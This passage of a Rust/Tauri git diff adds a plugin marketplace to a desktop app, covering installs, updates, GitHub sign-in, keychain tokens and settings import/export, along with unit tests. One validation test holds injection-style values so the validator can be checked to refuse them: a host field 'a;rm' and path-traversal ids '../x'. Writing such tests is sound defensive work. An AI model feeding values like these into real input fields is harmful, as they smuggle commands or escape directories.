p.marketplace_disabled.len()); + p.marketplace_installs + .retain(|i| i.marketplace_id != marketplace_id); + p.marketplace_disabled + .retain(|r| r.marketplace_id != marketplace_id); + if (p.marketplace_installs.len(), p.marketplace_disabled.len()) != before { + state.projects_store.update(p)?; + } + } + refresh_pins(&state).await; + Ok(()) +} + +// ───────────────────────────────────────────────────────────────────────────── +// Installs +// ───────────────────────────────────────────────────────────────────────────── + +/// Pins the item at the marketplace's current head. Returns fresh settings; +/// for a project scope the caller reloads projects. +#[tauri::command] +pub async fn install_marketplace_item( + item: MarketplaceItemRef, + scope: InstallScope, + state: State<'_, AppState>, +) -> Result { + validate_item(&item)?; + let settings = state.settings_store.get(); + let m = find_marketplace(&settings, &item.marketplace_id)?; + let snap = snapshot_blocking(&state, &m).await?; + let head = snap.head_commit.clone().ok_or_else(|| { + format!( + "\"{}\" has not been fetched yet — refresh it first.", + m.name + ) + })?; + let entry = snap + .items + .iter() + .find(|i| i.kind == item.kind && i.key == item.key) + .ok_or_else(|| { + format!( + "\"{}\" is no longer in \"{}\" — refresh the marketplace.", + item.key, m.name + ) + })?; + if let Some(reason) = &entry.invalid { + return Err(format!( + "\"{}\" cannot be installed: {}", + entry.name, reason + )); + } + let inst = MarketplaceInstall { + marketplace_id: item.marketplace_id.clone(), + kind: item.kind, + key: item.key.clone(), + commit: head, + }; + match scope { + InstallScope::Global => { + let mut s = state.settings_store.get(); + ops::upsert_install(&mut s.global_marketplace_installs, inst); + state.settings_store.update(s)?; + } + InstallScope::Project { project_id } => { + let mut p = find_project(&state, &project_id)?; + ops::upsert_install(&mut p.marketplace_installs, inst); + state.projects_store.update(p)?; + } + } + refresh_pins(&state).await; + Ok(state.settings_store.get()) +} + +#[tauri::command] +pub async fn uninstall_marketplace_item( + item: MarketplaceItemRef, + scope: InstallScope, + state: State<'_, AppState>, +) -> Result<(), String> { + match scope { + InstallScope::Global => { + let mut s = state.settings_store.get(); + if !ops::remove_install(&mut s.global_marketplace_installs, &item) { + return Err("That item is not installed for all projects.".to_string()); + } + state.settings_store.update(s)?; + // An opt-out of an item that is no longer global means nothing. + for mut p in state.projects_store.list() { + if p.marketplace_disabled.contains(&item) { + ops::set_disabled(&mut p.marketplace_disabled, &item, false); + state.projects_store.update(p)?; + } + } + } + InstallScope::Project { project_id } => { + let mut p = find_project(&state, &project_id)?; + if !ops::remove_install(&mut p.marketplace_installs, &item) { + return Err(format!("That item is not installed in \"{}\".", p.name)); + } + state.projects_store.update(p)?; + } + } + refresh_pins(&state).await; + Ok(()) +} + +#[tauri::command] +pub async fn set_global_item_disabled( + project_id: String, + item: MarketplaceItemRef, + disabled: bool, + state: State<'_, AppState>, +) -> Result { + validate_item(&item)?; + let mut p = find_project(&state, &project_id)?; + ops::set_disabled(&mut p.marketplace_disabled, &item, disabled); + state.projects_store.update(p) +} + +// ───────────────────────────────────────────────────────────────────────────── +// Updates +// ───────────────────────────────────────────────────────────────────────────── + +#[tauri::command] +pub async fn list_marketplace_updates( + state: State<'_, AppState>, +) -> Result, String> { + let settings = state.settings_store.get(); + let projects = state.projects_store.list(); + let mgr = state.marketplace.clone(); + tokio::task::spawn_blocking(move || mk::compute_updates(&mgr, &settings, &projects)) + .await + .map_err(|e| format!("Checking for updates failed: {e}")) +} + +#[tauri::command] +pub async fn marketplace_item_diff( + item: MarketplaceItemRef, + from_commit: String, + to_commit: String, + state: State<'_, AppState>, +) -> Result, String> { + validate_item(&item)?; + if !is_valid_commit(&from_commit) || !is_valid_commit(&to_commit) { + return Err("Invalid commit id.".to_string()); + } + let settings = state.settings_store.get(); + let m = find_marketplace(&settings, &item.marketplace_id)?; + let repo = git::cache_path(state.marketplace.data_root(), &m.id); + tokio::task::spawn_blocking(move || { + diff::item_diff(&repo, item.kind, &item.key, &from_commit, &to_commit) + }) + .await + .map_err(|e| format!("Computing the diff failed: {e}"))? +} + +/// Moves one install's pin to the marketplace's head, if the item is still +/// installable there. +#[tauri::command] +pub async fn update_marketplace_item( + item: MarketplaceItemRef, + scope: InstallScope, + state: State<'_, AppState>, +) -> Result<(), String> { + validate_item(&item)?; + let settings = state.settings_store.get(); + let m = find_marketplace(&settings, &item.marketplace_id)?; + let head = snapshot_blocking(&state, &m) + .await? + .head_commit + .ok_or_else(|| { + format!( + "\"{}\" has not been fetched yet — refresh it first.", + m.name + ) + })?; + + let repo = git::cache_path(state.marketplace.data_root(), &m.id); + let (kind, key, at) = (item.kind, item.key.clone(), head.clone()); + tokio::task::spawn_blocking(move || -> Result<(), String> { + let tree = GitTree::open(&repo, &at)?; + catalog::item_files(&tree, kind, &key).map(|_| ()) + }) + .await + .map_err(|e| format!("Checking the new version failed: {e}"))? + .map_err(|e| format!("\"{}\" cannot be updated: {e}", item.key))?; + + match scope { + InstallScope::Global => { + let mut s = state.settings_store.get(); + if !ops::repin(&mut s.global_marketplace_installs, &item, &head) { + return Err("That item is not installed for all projects.".to_string()); + } + state.settings_store.update(s)?; + } + InstallScope::Project { project_id } => { + let mut p = find_project(&state, &project_id)?; + if !ops::repin(&mut p.marketplace_installs, &item, &head) { + return Err(format!("That item is not installed in \"{}\".", p.name)); + } + state.projects_store.update(p)?; + } + } + refresh_pins(&state).await; + Ok(()) +} + +// ───────────────────────────────────────────────────────────────────────────── +// Sync +// ───────────────────────────────────────────────────────────────────────────── + +/// Sync one running project, or every running project when `project_id` is +/// None. Emits `marketplace-sync-finished` after each sync, like a start sync +/// does, so skips and errors reach the same toast (pre-flight F4). +#[tauri::command] +pub async fn apply_marketplace_now( + project_id: Option, + app_handle: AppHandle, + state: State<'_, AppState>, +) -> Result, String> { + let settings = state.settings_store.get(); + let projects = match &project_id { + Some(id) => vec![find_project(&state, id)?], + None => state.projects_store.list(), + }; + let mut results = Vec::new(); + for p in projects { + let running = match &p.container_id { + Some(cid) => is_container_running(cid).await.unwrap_or(false), + None => false, + }; + if !running { + if project_id.is_some() { + return Err(format!( + "\"{}\" is not running. Its marketplace items are applied when it starts.", + p.name + )); + } + continue; + } + let cid = p.container_id.clone().unwrap_or_default(); + let report = mk::sync_project(&state.marketplace, &settings, &p, &cid).await; + let _ = app_handle.emit( + mk::SYNC_FINISHED_EVENT, + serde_json::json!({ "project_id": p.id, "report": report }), + ); + results.push(ProjectSyncResult { + project_id: p.id.clone(), + report, + }); + } + Ok(results) +} + +#[tauri::command] +pub async fn get_marketplace_sync_report( + project_id: String, + state: State<'_, AppState>, +) -> Result, String> { + Ok(state.marketplace.report(&project_id)) +} + +// ───────────────────────────────────────────────────────────────────────────── +// Accounts +// ───────────────────────────────────────────────────────────────────────────── + +#[tauri::command] +pub async fn add_marketplace_token_account( + label: String, + host: String, + token: String, + state: State<'_, AppState>, +) -> Result { + let label = ops::validate_label(&label)?; + let host = ops::validate_host(&host)?; + let token = ops::validate_token_text(&token)?; + // None = a host with no known "who am I" API; the marketplace's test fetch proves the token. + let username = auth::validate_token(&host, &token).await?; + let account = MarketplaceAccount { + id: uuid::Uuid::new_v4().to_string(), + label, + host, + method: AccountMethod::Token, + username, + }; + secure::store_marketplace_token(&account.id, &token)?; + save_new_account(&state, account, true) +} + +#[tauri::command] +pub async fn add_marketplace_gh_host_account( + label: String, + host: String, + state: State<'_, AppState>, +) -> Result { + let label = ops::validate_label(&label)?; + let host = ops::validate_host(&host)?; + if !auth::gh_host_available().await { + return Err( + "The GitHub CLI (gh) is not installed on this computer. Sign in through a running \ + container instead, or add a token." + .to_string(), + ); + } + let username = auth::gh_host_login(&host).await?; + let account = MarketplaceAccount { + id: uuid::Uuid::new_v4().to_string(), + label, + host, + method: AccountMethod::GhHost, + username: Some(username), + }; + save_new_account(&state, account, false) +} + +/// Long-running: drives `gh auth login --web` in the project's container and +/// emits `marketplace-gh-login-code` / `-output` while it waits. +/// +/// The cancel sender stays in the manager's slot for the whole login: the +/// login treats a dropped sender as a cancel. +#[tauri::command] +pub async fn start_marketplace_gh_container_login( + label: String, + host: String, + project_id: String, + app_handle: AppHandle, + state: State<'_, AppState>, +) -> Result { + let label = ops::validate_label(&label)?; + let host = ops::validate_host(&host)?; + if !gh_login::valid_host(&host) { + return Err("Signing in through a container needs a host name without a port.".to_string()); + } + let project = find_project(&state, &project_id)?; + let container_id = project.container_id.clone().ok_or_else(|| { + format!( + "\"{}\" has no container yet. Start it, then try again.", + project.name + ) + })?; + if !is_container_running(&container_id).await.unwrap_or(false) { + return Err(format!( + "\"{}\" is not running. Start it, then try again.", + project.name + )); + } + + let (tx, rx) = oneshot::channel(); + if !state.marketplace.set_gh_login_cancel(Some(tx)).await { + return Err("A GitHub sign-in is already running. Finish or cancel it first.".to_string()); + } + let account_id = uuid::Uuid::new_v4().to_string(); + let result = + gh_login::run_gh_container_login(&app_handle, &account_id, &container_id, &host, rx).await; + // `rx` is gone now, so this frees our slot and never a newer login's. + state.marketplace.release_gh_login().await; + let token = result?; + + let username = auth::validate_token(&host, &token).await?; + secure::store_marketplace_token(&account_id, &token)?; + let account = MarketplaceAccount { + id: account_id, + label, + host, + method: AccountMethod::GhContainer, + username, + }; + save_new_account(&state, account, true) +} + +#[tauri::command] +pub async fn cancel_marketplace_gh_login(state: State<'_, AppState>) -> Result<(), String> { + state.marketplace.cancel_gh_login().await; + Ok(()) +} + +#[tauri::command] +pub async fn test_marketplace_account( + account_id: String, + state: State<'_, AppState>, +) -> Result { + let settings = state.settings_store.get(); + let account = find_account(&settings, &account_id)?; + let cred = auth::resolve_credential(&account).await?; + Ok(auth::validate_token(&account.host, &cred.password) + .await? + .unwrap_or_else(|| "token present (this host has no sign-in check)".to_string())) +} + +#[tauri::command] +pub async fn remove_marketplace_account( + account_id: String, + state: State<'_, AppState>, +) -> Result { + let mut settings = state.settings_store.get(); + let account = find_account(&settings, &account_id)?; + if let Some(m) = settings + .marketplaces + .iter() + .find(|m| m.account_id.as_deref() == Some(account_id.as_str())) + { + return Err(format!( + "\"{}\" uses this account. Change or remove that marketplace first.", + m.name + )); + } + // Keychain first: if it refuses, nothing has changed yet. + if account.method != AccountMethod::GhHost { + secure::delete_marketplace_token(&account.id)?; + } + settings.marketplace_accounts.retain(|a| a.id != account_id); + state.settings_store.update(settings) +} + +#[tauri::command] +pub async fn marketplace_gh_host_available() -> Result { + Ok(auth::gh_host_available().await) +} + +#[cfg(test)] +mod tests { + use std::collections::BTreeMap; + + use super::*; + use crate::models::marketplace::{ + AccountMethod, ItemKind, Marketplace, MarketplaceAccount, MarketplaceInstall, + }; + use crate::models::AppSettings; + + const ACCOUNT: &str = "0f8fad5b-d9cb-469f-a165-70867728950e"; + const MARKET: &str = "7c9e6679-7425-40de-944b-e07fc1f90ae7"; + + fn imported() -> AppSettings { + let mut s = AppSettings::default(); + s.marketplace_accounts.push(MarketplaceAccount { + id: ACCOUNT.into(), + label: " Work ".into(), + host: "GitHub.com".into(), + method: AccountMethod::Token, + username: Some("octo".into()), + }); + s.marketplaces.push(Marketplace { + id: MARKET.into(), + name: "Team".into(), + url: " https://github.com/org/repo.git ".into(), + branch: Some(" ".into()), + account_id: Some(ACCOUNT.into()), + }); + s.global_marketplace_installs.push(MarketplaceInstall { + marketplace_id: MARKET.into(), + kind: ItemKind::Hook, + key: "fmt".into(), + commit: "a".repeat(40), + }); + s + } + + fn tokens() -> BTreeMap { + BTreeMap::from([(ACCOUNT.to_string(), "test-token-not-real".to_string())]) + } + + #[test] + fn a_valid_import_passes_and_is_normalised_like_a_command_would() { + let mut s = imported(); + validate_imported_marketplace_state(&mut s, &tokens()).unwrap(); + assert_eq!(s.marketplace_accounts[0].label, "Work"); + assert_eq!(s.marketplace_accounts[0].host, "github.com"); + assert_eq!(s.marketplaces[0].url, "https://github.com/org/repo.git"); + assert_eq!(s.marketplaces[0].branch, None); + } + + #[test] + fn an_import_is_refused_for_anything_a_command_would_refuse() { + type Break = fn(&mut AppSettings, &mut BTreeMap); + let cases: Vec<(&str, Break)> = vec![ + ("http url", |s, _| { + s.marketplaces[0].url = "http://github.com/o/r.git".into() + }), + ("url with credentials", |s, _| { + s.marketplaces[0].url = "https://u:p@github.com/o/r.git".into() + }), + ("bad branch", |s, _| { + s.marketplaces[0].branch = Some("a..b".into()) + }), + ("path in marketplace id", |s, _| { + s.marketplaces[0].id = "../x".into() + }), + ("duplicate marketplace id", |s, _| { + let m = s.marketplaces[0].clone(); + s.marketplaces.push(m) + }), + ("unknown account", |s, _| { + s.marketplaces[0].account_id = Some("nope".into()) + }), + ("account on another host", |s, _| { + s.marketplace_accounts[0].host = "gitlab.com".into() + }), + ("path in account id", |s, _| { + s.marketplace_accounts[0].id = "../x".into() + }), + ("bad account host", |s, _| { + s.marketplace_accounts[0].host = "a;rm".into() + }), + ("blank account label", |s, _| { + s.marketplace_accounts[0].label = " ".into() + }), + ("bad item key", |s, _| { + s.global_marketplace_installs[0].key = "../x".into() + }), + ("bad commit", |s, _| { + s.global_marketplace_installs[0].commit = "HEAD".into() + }), + ("bad install marketplace id", |s, _| { + s.global_marketplace_installs[0].marketplace_id = "a/b".into() + }), + ("token for no account", |_, t| { + t.insert( + "7c9e6679-0000-0000-0000-000000000000".into(), + "test-token-not-real".into(), + ); + }), + ("token for a gh-host account", |s, _| { + s.marketplace_accounts[0].method = AccountMethod::GhHost + }), + ("token with spaces", |_, t| { + t.insert(ACCOUNT.into(), "test token".into()); + }), + ]; + for (name, f) in cases { + let (mut s, mut t) = (imported(), tokens()); + f(&mut s, &mut t); + assert!( + validate_imported_marketplace_state(&mut s, &t).is_err(), + "{name} should be refused" + ); + } + } + + /// Installs of a marketplace the file no longer configures are allowed: + /// they are what the Installed tab lists as "source removed". + #[test] + fn an_install_whose_marketplace_is_gone_is_still_accepted() { + let mut s = imported(); + s.marketplaces.clear(); + validate_imported_marketplace_state(&mut s, &tokens()).unwrap(); + } +} diff --git a/app/src-tauri/src/commands/mod.rs b/app/src-tauri/src/commands/mod.rs index f58af28..565cfc7 100644 --- a/app/src-tauri/src/commands/mod.rs +++ b/app/src-tauri/src/commands/mod.rs @@ -8,6 +8,7 @@ pub mod gateway_commands; pub mod help_commands; pub mod inspect_commands; pub mod install_helper_commands; +pub mod marketplace_commands; pub mod migration_commands; pub mod notes_commands; pub mod project_commands; diff --git a/app/src-tauri/src/commands/project_commands.rs b/app/src-tauri/src/commands/project_commands.rs index e00e4a2..74c1ca6 100644 --- a/app/src-tauri/src/commands/project_commands.rs +++ b/app/src-tauri/src/commands/project_commands.rs @@ -1148,6 +1148,9 @@ fn restore_store_owned_fields(project: &mut Project, stored: &Project) { project.browser_view_enabled = stored.browser_view_enabled; project.auth_bridge_enabled = stored.auth_bridge_enabled; project.created_at = stored.created_at.clone(); + // Owned by the marketplace commands; a Config-tab save carries a stale copy. + project.marketplace_installs = stored.marketplace_installs.clone(); + project.marketplace_disabled = stored.marketplace_disabled.clone(); } #[tauri::command] @@ -2300,4 +2303,28 @@ mod tests { assert_eq!(payload.status, ProjectStatus::Running); assert_eq!(payload.created_at, stored.created_at); } + + /// The marketplace commands own a project's installs and opt-outs; the + /// Config tab's next unrelated save carries a stale copy of both. + #[test] + fn a_stale_save_cannot_undo_a_marketplace_install() { + use crate::models::marketplace::{ItemKind, MarketplaceInstall, MarketplaceItemRef}; + let (mut stored, mut payload) = stored_and_stale_payload(); + stored.marketplace_installs = vec![MarketplaceInstall { + marketplace_id: "m1".into(), + kind: ItemKind::Agent, + key: "code-reviewer".into(), + commit: "a".repeat(40), + }]; + stored.marketplace_disabled = vec![MarketplaceItemRef { + marketplace_id: "m1".into(), + kind: ItemKind::Hook, + key: "h".into(), + }]; + + restore_store_owned_fields(&mut payload, &stored); + + assert_eq!(payload.marketplace_installs, stored.marketplace_installs); + assert_eq!(payload.marketplace_disabled, stored.marketplace_disabled); + } } diff --git a/app/src-tauri/src/commands/settings_commands.rs b/app/src-tauri/src/commands/settings_commands.rs index 13309bb..aa83603 100644 --- a/app/src-tauri/src/commands/settings_commands.rs +++ b/app/src-tauri/src/commands/settings_commands.rs @@ -67,14 +67,26 @@ pub fn validate_settings_update( Ok(()) } +/// Marketplace state is written only by the marketplace commands +/// (`commands/marketplace_commands.rs`), each of which returns fresh settings. +/// Every other settings save posts the frontend's copy back whole, and that +/// copy can predate an install made a moment ago, so what is stored wins. +/// `apply_settings_import` is the one caller that replaces it, explicitly. +pub(crate) fn restore_marketplace_fields(incoming: &mut AppSettings, stored: &AppSettings) { + incoming.marketplace_accounts = stored.marketplace_accounts.clone(); + incoming.marketplaces = stored.marketplaces.clone(); + incoming.global_marketplace_installs = stored.global_marketplace_installs.clone(); +} + #[tauri::command] pub async fn update_settings( - settings: AppSettings, + mut settings: AppSettings, state: State<'_, AppState>, ) -> Result { let before = state.settings_store.get(); validate_settings_update(&before, &settings)?; + restore_marketplace_fields(&mut settings, &before); let saved = state.settings_store.update(settings)?; @@ -430,4 +442,28 @@ mod tests { }); assert_eq!(gateway_action(&before, &half_typed), GatewayAction::None); } + + #[test] + fn a_stale_settings_save_cannot_overwrite_marketplace_state() { + use crate::models::marketplace::Marketplace; + let mut stored = AppSettings::default(); + stored.marketplaces.push(Marketplace { + id: "m1".into(), + name: "Team".into(), + url: "https://example.invalid/r.git".into(), + branch: None, + account_id: None, + }); + // The frontend's copy predates the marketplace being added. + let mut incoming = AppSettings::default(); + incoming.auto_check_updates = false; + + restore_marketplace_fields(&mut incoming, &stored); + + assert_eq!(incoming.marketplaces, stored.marketplaces); + assert!( + !incoming.auto_check_updates, + "the edit the save was for still applies" + ); + } } diff --git a/app/src-tauri/src/commands/settings_export_commands.rs b/app/src-tauri/src/commands/settings_export_commands.rs index 1bdd35b..6480b8d 100644 --- a/app/src-tauri/src/commands/settings_export_commands.rs +++ b/app/src-tauri/src/commands/settings_export_commands.rs @@ -41,6 +41,9 @@ use tauri::State; use tauri_plugin_dialog::DialogExt; use zeroize::Zeroizing; +use std::collections::BTreeMap; + +use crate::models::marketplace::{AccountMethod, MarketplaceAccount}; use crate::models::{ AppSettings, ExportedSecrets, SettingsExportPayload, SettingsImportOutcome, SettingsImportPreview, SETTINGS_EXPORT_FORMAT_VERSION, @@ -131,11 +134,56 @@ fn split_settings_and_secrets(current: AppSettings) -> (AppSettings, ExportedSec gateway_api_key: secure::get_gateway_api_key().unwrap_or_default(), gateway_master_key: secure::get_gateway_master_key().unwrap_or_default(), web_terminal_access_token, + marketplace_account_tokens: exported_marketplace_tokens( + &settings.marketplace_accounts, + secure::get_marketplace_token, + ), }; (settings, secrets) } +/// The stored token of every marketplace account that has one, by account +/// id. A `GhHost` account stores none (its token is asked of the host's `gh` +/// each time), so it is not read. A missing or unreadable token is left out, +/// like the other keychain secrets above. +fn exported_marketplace_tokens( + accounts: &[MarketplaceAccount], + get: impl Fn(&str) -> Result, String>, +) -> BTreeMap { + accounts + .iter() + .filter(|a| a.method != AccountMethod::GhHost) + .filter_map(|a| { + let token = non_blank(get(&a.id).unwrap_or_default())?; + Some((a.id.clone(), token)) + }) + .collect() +} + +/// Write each imported marketplace token to the keychain, returning a +/// warning (never containing the token) for each one that could not be. +fn restore_marketplace_tokens( + tokens: &BTreeMap, + mut store: impl FnMut(&str, &str) -> Result<(), String>, +) -> Vec { + let mut warnings = Vec::new(); + for (account_id, token) in tokens { + if let Err(e) = store(account_id, token) { + log::warn!( + "Settings import: could not restore the token of marketplace account {}: {}", + account_id, + e + ); + warnings.push(format!( + "Could not restore a marketplace account's token ({}); sign that account in again.", + e + )); + } + } + warnings +} + /// Export the current global settings and secrets to a password-encrypted /// file. `Ok(false)` means the save dialog was dismissed — not an error, and /// deliberately distinguishable from one so the frontend shows nothing @@ -320,6 +368,13 @@ pub async fn apply_settings_import( .or_else(|| current.web_terminal.access_token.clone()); crate::commands::settings_commands::validate_settings_update(¤t, &settings)?; + // The marketplace half, with the commands' own rules and normalisation, + // also before anything is written (pre-flight F10). + let marketplace_tokens = payload.secrets.marketplace_account_tokens; + crate::commands::marketplace_commands::validate_imported_marketplace_state( + &mut settings, + &marketplace_tokens, + )?; let mut secret_restore_warnings = Vec::new(); let mut gateway_secret_changed = false; @@ -363,8 +418,29 @@ pub async fn apply_settings_import( } } + secret_restore_warnings.extend(restore_marketplace_tokens( + &marketplace_tokens, + secure::store_marketplace_token, + )); + + let imported_marketplace = ( + settings.marketplace_accounts.clone(), + settings.marketplaces.clone(), + settings.global_marketplace_installs.clone(), + ); let saved = crate::commands::settings_commands::update_settings(settings, state.clone()).await?; + // `update_settings` keeps marketplace state store-owned. An import is the + // one caller entitled to replace it wholesale. + let saved = { + let mut s = saved; + ( + s.marketplace_accounts, + s.marketplaces, + s.global_marketplace_installs, + ) = imported_marketplace; + state.settings_store.update(s)? + }; // `reconcile_gateway` (inside `update_settings`) only reacts to a changed // *shape* — port, provider, base URL, models — because that's what's @@ -651,4 +727,97 @@ mod tests { std::fs::remove_dir_all(&dir).ok(); } + + fn account(id: &str, method: AccountMethod) -> MarketplaceAccount { + MarketplaceAccount { + id: id.to_string(), + label: format!("Account {id}"), + host: "github.com".to_string(), + method, + username: None, + } + } + + #[test] + fn export_carries_stored_tokens_of_token_and_container_accounts_only() { + let accounts = vec![ + account("a-token", AccountMethod::Token), + account("a-container", AccountMethod::GhContainer), + account("a-host", AccountMethod::GhHost), + account("a-missing", AccountMethod::Token), + account("a-broken", AccountMethod::Token), + ]; + let tokens = exported_marketplace_tokens(&accounts, |id| match id { + "a-token" => Ok(Some("test-token-not-real-1".to_string())), + "a-container" => Ok(Some("test-token-not-real-2".to_string())), + "a-host" => panic!("a gh-host account stores no token, so none is read"), + "a-missing" => Ok(None), + _ => Err("keychain locked".to_string()), + }); + assert_eq!( + tokens, + BTreeMap::from([ + ("a-container".to_string(), "test-token-not-real-2".to_string()), + ("a-token".to_string(), "test-token-not-real-1".to_string()), + ]) + ); + } + + #[test] + fn marketplace_tokens_round_trip_through_an_export_and_validate_on_import() { + use crate::models::marketplace::Marketplace; + let id = "0f8fad5b-d9cb-469f-a165-70867728950e"; + let mut payload = sample_payload(SETTINGS_EXPORT_FORMAT_VERSION); + payload + .settings + .marketplace_accounts + .push(account(id, AccountMethod::Token)); + payload.settings.marketplaces.push(Marketplace { + id: "7c9e6679-7425-40de-944b-e07fc1f90ae7".into(), + name: "Team".into(), + url: "https://github.com/org/repo.git".into(), + branch: None, + account_id: Some(id.into()), + }); + payload.secrets.marketplace_account_tokens = + BTreeMap::from([(id.to_string(), "test-token-not-real".to_string())]); + + let dir = temp_dir("marketplace-round-trip"); + let path = write_export(&dir, "x.triplec", &payload, "password123"); + let mut back = read_and_decrypt(&path, "password123").unwrap(); + + assert_eq!( + back.secrets.marketplace_account_tokens, + payload.secrets.marketplace_account_tokens + ); + assert_eq!(back.settings.marketplaces, payload.settings.marketplaces); + crate::commands::marketplace_commands::validate_imported_marketplace_state( + &mut back.settings, + &back.secrets.marketplace_account_tokens, + ) + .unwrap(); + let _ = std::fs::remove_dir_all(&dir); + } + + #[test] + fn a_marketplace_token_that_fails_to_restore_is_reported_without_its_value() { + let tokens = BTreeMap::from([ + ("a1".to_string(), "test-token-not-real-1".to_string()), + ("a2".to_string(), "test-token-not-real-2".to_string()), + ]); + let mut stored = Vec::new(); + let warnings = restore_marketplace_tokens(&tokens, |id, token| { + if id == "a2" { + return Err("keychain locked".to_string()); + } + stored.push((id.to_string(), token.to_string())); + Ok(()) + }); + assert_eq!( + stored, + vec![("a1".to_string(), "test-token-not-real-1".to_string())] + ); + assert_eq!(warnings.len(), 1); + assert!(!warnings[0].contains("test-token-not-real")); + } } diff --git a/app/src-tauri/src/lib.rs b/app/src-tauri/src/lib.rs index 3f7b255..e9097a3 100644 --- a/app/src-tauri/src/lib.rs +++ b/app/src-tauri/src/lib.rs @@ -232,7 +232,6 @@ pub fn run() { .unwrap_or_else(|| std::env::temp_dir().join("triple-c")), )); let marketplace_setup = marketplace.clone(); - let _ = &marketplace_setup; // Clone Arcs for the setup closure (web terminal auto-start) let projects_store_setup = projects_store.clone(); @@ -308,6 +307,21 @@ pub fn run() { .await; }); + // Marketplaces: refresh each once at startup, in the background. + // Failures are logged, not toasted — the Marketplace tab shows them. + { + let settings = settings_store_setup.get(); + let marketplace = marketplace_setup.clone(); + tauri::async_runtime::spawn(async move { + for m in &settings.marketplaces { + let snap = crate::marketplace::refresh_marketplace(&marketplace, &settings, &m.id).await; + if let Some(e) = snap.fetch_error { + log::warn!("Marketplace \"{}\" could not be refreshed at startup: {}", m.name, e); + } + } + }); + } + // Auto-start web terminal server if enabled in settings let settings = settings_store_setup.get(); if settings.web_terminal.enabled { @@ -529,6 +543,28 @@ pub fn run() { commands::auth_token_commands::has_claude_token, commands::auth_token_commands::clear_claude_token, commands::auth_token_commands::sweep_claude_token_snapshots, + // Marketplace + commands::marketplace_commands::list_marketplace_snapshots, + commands::marketplace_commands::refresh_marketplaces, + commands::marketplace_commands::add_marketplace, + commands::marketplace_commands::update_marketplace, + commands::marketplace_commands::remove_marketplace, + commands::marketplace_commands::install_marketplace_item, + commands::marketplace_commands::uninstall_marketplace_item, + commands::marketplace_commands::set_global_item_disabled, + commands::marketplace_commands::forget_marketplace_installs, + commands::marketplace_commands::list_marketplace_updates, + commands::marketplace_commands::marketplace_item_diff, + commands::marketplace_commands::update_marketplace_item, + commands::marketplace_commands::apply_marketplace_now, + commands::marketplace_commands::get_marketplace_sync_report, + commands::marketplace_commands::add_marketplace_token_account, + commands::marketplace_commands::add_marketplace_gh_host_account, + commands::marketplace_commands::start_marketplace_gh_container_login, + commands::marketplace_commands::cancel_marketplace_gh_login, + commands::marketplace_commands::test_marketplace_account, + commands::marketplace_commands::remove_marketplace_account, + commands::marketplace_commands::marketplace_gh_host_available, // Settings commands::settings_commands::get_settings, commands::settings_commands::update_settings, diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs index d73c21e..34f6bdb 100644 --- a/app/src-tauri/src/marketplace/mod.rs +++ b/app/src-tauri/src/marketplace/mod.rs @@ -167,6 +167,18 @@ impl MarketplaceManager { } } + /// Free the slot after a login ends, but only if it still holds that + /// login's sender (its receiver is gone once the login returns). A cancel + /// may have emptied the slot and a newer login claimed it meanwhile; a + /// plain `set_gh_login_cancel(None)` would drop that login's sender, + /// which it reads as a cancel. + pub async fn release_gh_login(&self) { + let mut slot = self.gh_login_cancel.lock().await; + if slot.as_ref().is_some_and(|tx| tx.is_closed()) { + *slot = None; + } + } + pub async fn cancel_gh_login(&self) { if let Some(tx) = self.gh_login_cancel.lock().await.take() { let _ = tx.send(()); @@ -664,6 +676,28 @@ mod tests { ); } + #[tokio::test] + async fn releasing_a_finished_login_never_frees_a_newer_ones_slot() { + let mgr = MarketplaceManager::new(std::env::temp_dir()); + // Login A is cancelled, and login B claims the slot before A returns. + let (tx_a, rx_a) = tokio::sync::oneshot::channel::<()>(); + assert!(mgr.set_gh_login_cancel(Some(tx_a)).await); + mgr.cancel_gh_login().await; + let (tx_b, mut rx_b) = tokio::sync::oneshot::channel::<()>(); + assert!(mgr.set_gh_login_cancel(Some(tx_b)).await); + drop(rx_a); // A returns. + mgr.release_gh_login().await; + assert!( + matches!(rx_b.try_recv(), Err(tokio::sync::oneshot::error::TryRecvError::Empty)), + "B's sender must still be held, not dropped" + ); + // B returns: its slot is freed. + drop(rx_b); + mgr.release_gh_login().await; + let (tx_c, _rx_c) = tokio::sync::oneshot::channel::<()>(); + assert!(mgr.set_gh_login_cancel(Some(tx_c)).await); + } + #[test] fn a_project_that_never_had_items_is_not_synced() { let data = tempfile::tempdir().unwrap(); diff --git a/app/src-tauri/src/models/settings_export.rs b/app/src-tauri/src/models/settings_export.rs index cf6c5d4..3431175 100644 --- a/app/src-tauri/src/models/settings_export.rs +++ b/app/src-tauri/src/models/settings_export.rs @@ -25,6 +25,8 @@ //! "only overwrite what the import actually has" treatment as the other //! three secrets. +use std::collections::BTreeMap; + use serde::{Deserialize, Serialize}; use super::{AppSettings, ImageSource}; @@ -56,6 +58,12 @@ pub struct ExportedSecrets { /// export wholesale. #[serde(default)] pub web_terminal_access_token: Option, + /// Marketplace account tokens (`Token` and `GhContainer` accounts; a + /// `GhHost` account stores none), keyed by account id. They live in the + /// keychain, not in `AppSettings::marketplace_accounts`, so they travel + /// here or an imported account could never fetch. + #[serde(default)] + pub marketplace_account_tokens: BTreeMap, } impl ExportedSecrets { @@ -65,6 +73,7 @@ impl ExportedSecrets { && blank(&self.gateway_api_key) && blank(&self.gateway_master_key) && blank(&self.web_terminal_access_token) + && self.marketplace_account_tokens.values().all(|v| v.trim().is_empty()) } } @@ -147,6 +156,17 @@ pub struct SettingsImportPreview { pub image_source: ImageSource, #[serde(default)] pub custom_image_name: Option, + /// Marketplaces the import configures. + #[serde(default)] + pub marketplace_count: usize, + /// Hooks the import installs for every project. A hook runs commands in + /// each project container, and an imported install skips the confirm + /// step an install from the Marketplace tab shows, so the preview warns. + #[serde(default)] + pub global_hook_install_count: usize, + /// Non-blank marketplace account tokens the import restores. + #[serde(default)] + pub marketplace_account_token_count: usize, } /// A cap on how much of a decrypted, not-yet-trusted string gets echoed back @@ -197,6 +217,19 @@ impl SettingsImportPreview { gateway_api_base: sanitized_non_blank(&payload.settings.gateway.api_base), image_source: payload.settings.image_source.clone(), custom_image_name: sanitized_non_blank(&payload.settings.custom_image_name), + marketplace_count: payload.settings.marketplaces.len(), + global_hook_install_count: payload + .settings + .global_marketplace_installs + .iter() + .filter(|i| i.kind == crate::models::marketplace::ItemKind::Hook) + .count(), + marketplace_account_token_count: payload + .secrets + .marketplace_account_tokens + .values() + .filter(|v| !v.trim().is_empty()) + .count(), } } } @@ -236,6 +269,7 @@ mod tests { gateway_api_key: Some("sk-another-secret".to_string()), gateway_master_key: 